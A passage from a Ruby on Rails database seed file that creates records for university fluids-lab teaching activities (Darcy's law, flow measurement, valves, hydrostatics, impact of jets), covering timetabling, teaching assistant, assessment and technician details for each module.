40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a121.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycl44ful\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a121.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a121.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a121.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a121.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a122 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"405\").first_or_create!(name: \"Darcy's Law\",\n name_abrv: \"DARCYSLAW\", archived: false, in_drive: true, user_id: 1)\n at122 = ActivityTimetable.where(activity_id: a122.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a122.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/hm7noqs\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a122.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Darcy's law in porous media flow\",\n job_desc:\"A home built rig to determine the pressure loss in flow through porous media.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a122.id).first_or_create!(assess_weight: nil, notes: \"Results are taken from the lab into a tutorial\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: 2)\n ActivityTech.where(activity_id: a122.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a122.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a123 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 2)\n at123 = ActivityTimetable.where(activity_id: a123.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 9, max_week_num: 9, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a123.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9hkvnrx\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a123.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a123.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a123.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a123.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a124 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at124 = ActivityTimetable.where(activity_id: a124.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Can be a self book, no need to timetablable\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a124.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/go6v2fl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a124.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a124.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a124.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a124.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a125 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at125 = ActivityTimetable.where(activity_id: a125.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a125.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yda4d9oa\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a125.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a125.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a125.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a125.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a126 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"407\").first_or_create!(name: \"Floating Stability\",\n name_abrv: \"FLOATSTAB\", archived: false, in_drive: true, user_id: 3)\n at126 = ActivityTimetable.where(activity_id: a126.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Forces on Submerged surface. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a126.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7aue72l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a126.id).first_or_create!(criteria: \"Understanding of metacenter from a civil engineering perspective.\",\n job_desc:\"The variables that dictate the metacentre of a floating pontoon are determined.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a126.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a126.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a126.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a127 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"408\").first_or_create!(name: \"Flow Measurement\",\n name_abrv: \"FLOWMEAS\", archived: false, in_drive: true, user_id: 5)\n at127 = ActivityTimetable.where(activity_id: a127.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a127.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yab4zwks\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a127.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a127.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a127.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a127.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a128 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: false, user_id: 1)\n at128 = ActivityTimetable.where(activity_id: a128.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a128.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yd9boque\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a128.id).first_or_create!(criteria: \"A comparison of different flow measurement techniques using hydrodynamic theory\",\n job_desc:\"Students do a quick lab to determine the relationship between flow rate and loss coefficient for gate or angle seat valves. This is done by altering the opening of the valve, and measuring the flow rate and pressure drop.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a128.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a128.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a128.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a129 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 2)\n at129 = ActivityTimetable.where(activity_id: a129.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Find a time when the students are in for another lab, as it is a long way to come for just an hour\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a129.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a129.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a129.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a129.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a129.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a130 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 3)\n at130 = ActivityTimetable.where(activity_id: a130.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a130.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hdn3gkn\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a130.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a130.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a130.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a130.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a131 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 2)\n at131 = ActivityTimetable.where(activity_id: a131.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Anywhere with a water supply\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a131.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a131.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a131.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a131.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a131.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a132 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 5)\n at132 = ActivityTimetable.where(activity_id: a132.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Floating stabiltity. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a132.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y75qz6ys\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a132.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a132.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a132.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a132.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a133 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: true, in_drive: true, user_id: 3)\n at133 = ActivityTimetable.where(activity_id: a133.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a133.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybr6ggo7\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a133.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a133.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a133.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a133.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a134 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 3)\n at134 = ActivityTimetable.where(activity_id: a134.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a134.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya6qpnzf\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a134.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a134.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a134.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a134.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a135 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: false, user_id: 5)\n at135 = ActivityTimetable.where(activity_id: a135.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a135.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6xyg4dt\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a135.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a135.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a135.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a135.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a136 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 4)\n at136 = ActivityTimetable.where(activity_id: a136.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a136.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a136.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a136.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a136.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a136.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a137 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: false, user_id: 4)\n at137 = ActivityTimetable.where(activity_id: a137.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a137.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6c5bbz6\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a137.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a137.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a137.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a137.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a138 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 5)\n at138 = ActivityTimetable.where(activity_id: a138.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a138.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a138.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a138.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a138.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a138.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a139 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 1)\n at139 = ActivityTimetable.where(activity_id: a139.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a139.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yabu3gps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a139.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a139.id).first_or_create!(assess_weight: nil, notes: \"One of the lab activites will be used as part of the CIV104 exam\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a139.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a139.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a140 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 5)\n at140 = ActivityTimetable.where(activity_id: a140.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a140.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pzg2ut\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a140.id).first_or_create!(criteria: \"Understanding of conservation of 